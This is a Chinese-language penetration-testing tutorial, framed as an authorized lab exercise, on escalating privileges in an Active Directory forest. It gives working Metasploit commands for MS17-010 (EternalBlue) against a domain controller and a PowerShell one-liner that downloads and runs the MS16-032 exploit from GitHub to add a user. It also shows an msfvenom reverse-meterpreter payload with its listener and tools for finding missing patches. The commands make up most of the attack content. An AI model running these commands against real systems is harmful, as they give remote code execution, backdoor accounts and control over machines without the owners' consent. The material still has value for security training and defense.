渗透测试之地基内网篇:域森林中权限提升
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机并控制了该计算机权限获得shell并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 继续延伸
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,今天我们就来对子域控制器进行提权,总结实战中会遇到的权限提升的各种方法,利用这些方法在内网中遨游!
不会权限提升技术,就无法对内网机器进行进一步的渗透!!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
接下来将演示分析内网中的权限提升各种方法,利用该方法在域森林中旅行!
三、MSF-永恒之蓝
在信息收集阶段,已知子域控xiyou.dayu.com存活,那么实战内网最经典的漏洞就是永恒之蓝。
在2017年4月,轰动网络安全界的事件无疑是TheShadowBrokers放出的一大批美国国家安全局(NSA)方程式组织( Equation Group )使用的极具破坏力的黑客工具,其中包括可以远程攻破约70%的Windows服务器的漏洞利用工具。一夜之间,全世界70%的Wndows服务器处于危险之中,国内使用Windows服务器的高校、企业甚至政府机构都不能幸免。这无疑是互联网的一次“大地震”,因为已经很久没有出现过像“永恒之蓝”(MS17-010) 这种级别的漏洞了。
Mtsploit是当今安全专业人员免费提供的最有用的审计工具之一!新版本的Mtsploit已经集成了MS17-010漏洞的测试模块,接下来将利用该工具进行内网最初提权!
通过上一期《域森林中多级域通信隧道(下)》建立了Frp内网隧道代理。
1、MSF基础认知
该图是Metasploit 体系结构,了解后可知MSF框架可利用外部安全工具配合内部插件链接基础库文件,基础库文件有生成后门shell的功能程序和开启MSF功能的接口。
2、MSF文件系统
通过Kali可以查看到12种相关永恒之蓝(MS17-010)的漏洞详情,其中利用的模块也详细介绍到XP~2008R2范围内系统存在该漏洞,目前攻击的子域控制器在信息收集后还不清楚是什么系统,那么就来尝试下进攻的旅行感!
3、进攻子域控制器
1)MSF挂载代理
setg Proxies socks5:192.168.253.11:7777
setg ReverseAllowProxy true
MSF自带挂载代理功能,只需要执行两条命令即可将VPS上建立的隧道代理通道挂载到Kali-MSF上进行横向渗透!
2)MSF横向渗透
目前挂载好代理后,Kali-MSF就可以对域森林进行横向渗透了,开始!
search ms17-010
查询ms17-010存在的EXP类型,先利用auxiliary对子域控制器进行探测:
use auxiliary/scanner/smb/smb_ms17_010
填入RHOSTS攻击方子域控制器的IP地址:
run执行后auxiliary脚本通过隧道对域森林中子域控制器进行了扫描,发现VULNERABLE(存在漏洞),以及子域控制器的系统为:Windows Server 2016 Standard 14393 x64 (64-bit)!!
经过前面对MS17-010的了解,XP~2008R2范围内系统存在该漏洞,win 2016是不存在的!尝试攻击看看!
3)探测攻击
use exploit/windows/smb/ms17_010_eternalblue
利用exploit脚本进行攻击,填入攻击的IP开启攻击:
通过现场模拟,发现子域控制器蓝屏了!!
所以在扫描发现windows2016系统版本后,不应该进行继续的进攻了,进攻只会导致蓝屏现象!域控蓝屏会导致整个子域用户环境影响工作!动静非常大,那么接下来利用另外一种方法拿下子域控制器!
4、成功拿下域控
通过前面发现直接exp攻击windows 2016是不可行的,但在auxiliary脚本扫描结果是VULNERABLE存在漏洞行为,那么怎么攻击呢?永恒之蓝还有另外一种攻击方式,command方式就是获得对方的CMD终端交互权限!开始!
1)ms17_010_command查询
search admin/smb
可看到存在一个探测利用脚本:auxiliary/admin/smb/ms17_010_command,该exp脚本属于command命令输入模式,运行!
2)ms17_010_command攻击
use auxiliary/admin/smb/ms17_010_command
set输入域控IP和command交互Ipconfig命令后执行run,利用成功,可看到ipconfig输入后回显出了子域控制器的IP情况,和信息收集到的情况一样!
那么command相当于拿到了域控的cmd窗口命令,那这里在旅行中基本能畅游子域控制器了!
四、权限提升-系统补丁
1、简介
在Windows环境中,权限大概分为四种:分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。
详情:
1. User:普通用户权限,是系统中最安全的权限。
2. Administrator:管理员权限。可以利用Windows 的机制将自己提升为System权限,以便操作SAM文件等。
3. System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
4. TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等等,接下来将逐一介绍提权的方式方法!
2、系统补丁收集
通过钓鱼、web渗透等方式获得的webshell可能是低权用户,那么需要进行权限提升为system/administrator权限,操作系统中不管是windows还是linux,存在两种提权方式:
1. 纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
2. 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
那么如何提权离不开信息收集的强度,接下来将介绍通过手动执行命令发现缺失补丁的方法!
3、手动发现缺失补丁
建立在获取到对方的shell后进行的操作
1)通过whoami /groups查看当前权限
2)查看系统补丁
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
目前只安装KB3199986,KB3200970两个补丁!
3)对系统补丁包进行过滤查找指定补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"kb3143141" /C:"KB976902"
可看到高危exp的kb补丁都未打的,补丁kb库详见:
https://github.com/SecWiki/windows-kernel-exploits
4、MS16-032
此漏洞影响从Vista到Windows 10的所有Windows版本(包括服务器版本)以及为了实现利用,因为PowerShell脚本指示需要满足以下要求:目标系统需要有2个以上的CPU核心 PowerShell v2.0及更高版本必须正在运行。
Windows Vista
Windows 7
Windows 8.1
Windows 10
Windows 2008 Server
Windows 2012 Server
通过上面简单的补丁信息收集,如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗。
脚本下载地址:
https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1
1)本地执行
\Invoke-MS16-032.ps1
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user dayu1 dayu1 /add"
#添加用户1密码1
目前只是简单的告知该一种方法,很多EXP都可以去github上下载操作提权!
2)远程执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user dayutest test123 /add'"
#远程下载,提权,添加用户
如果在内网环境,把脚本部署在能访问的web服务器目录中即可!
5、利用Metasploit发现缺失补丁
在永恒之蓝部分已经教会大家如何简单实用Metasploit,Metasploit也包含了如何发现补丁缺失甚至是可以利用什么exp对机器进行提权等。
为了更好的体验Metasploit发现补丁之旅,我进行了木马上传进行真实操作显现给小伙伴们看。
1)首先生成exe后门
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.253.27 LPORT=4444 -f exe >1.exe
msfvenom生成MSF的后门exe文件。
2)开启监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_http; set lhost 192.168.253.27; set lport 4444; exploit -j; "
一句话将开启MSF监听模式。
3)上传web服务器并运行
将1.exe免杀或者直接上传到web服务器进行演示,成功获得对方shell。
4)运行补丁模块
use post/windows/gather/enum_patches
set session 1
run
可看到该web服务器只打了三个补丁:KB2534111、KB2999226、KB976902。
5)运行漏扫模块
使用msf找出系统中可能被利用的漏洞:
use post/multi/recon/local_exploit_suggester
set session 1
可看到列出了五种exp的方法,bypassuac_sdclt、cve_2019_1458、bypassuac_dotnet_profiler、ms10_092_schelevator、ms16_014_wmi_recv_notif等等,甚至都有运行模块的exp脚本,直接运行提权即可!
6、Windows Exploit Suggester
Windows Exploit Suggester该工具可以将系统中已经安装的补丁程序和微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞。该库需要不定时的进行更新在自己的武器库内,漏洞是随着时代更新而更新的!
1)kali下载
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester
成功在github上下载到本地kali
2)从微软官网自动下载安全公告数据库
/windows-exploit-suggester.py --update
可看到更新到4月8号最新的库!
3)安装xlrd模块
pip install xlrd --upgrade
4)查找shell系统版本信息
systeminfo > dayu.txt
5)执行
将dayu.txt放入kali:
/windows-exploit-suggester.py --database 2021-04-08-mssb.xls --systeminfo dayu.txt
可发现能利用的补丁和exp名称,然后找到对应的exp执行即可!
7、Powershe中的 Sherlock
Powershe中的 Sherlock脚本,可快速查找可能用于本地权限提升的漏洞。
下载地址:
https://github.com/rasta-mouse/Sherlock
Import-Module .\Sherlock.ps1
Find-AllVulns
在CS3以上的版本都已经添加了elevate功能,也可以利用CS扫描!
五、总结
通过MSF-永恒之蓝,熟悉MSF框架的简单使用,利用MSF框架的exp控制子域控制器机器,在权限提升系统补丁发现系列中,介绍了六种系统补丁挖掘的办法,非常的实用在实战当中,发现了可利用的系统内核漏洞提权后,就可以通过漏洞提权获得最高权限更好的控制对方机器。
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁---即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性,如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方法提权,就必须找出目标系统中的0day漏洞。
不会权限提升exp收集,就无法在内网中旅行,无法见到更多的风景,学习今天的exp信息收集的方法,利用对应的EXP模块进行内核提权,就可以在该公司域森林中遨游了!
公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> ......
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。希望大家点赞加关注哦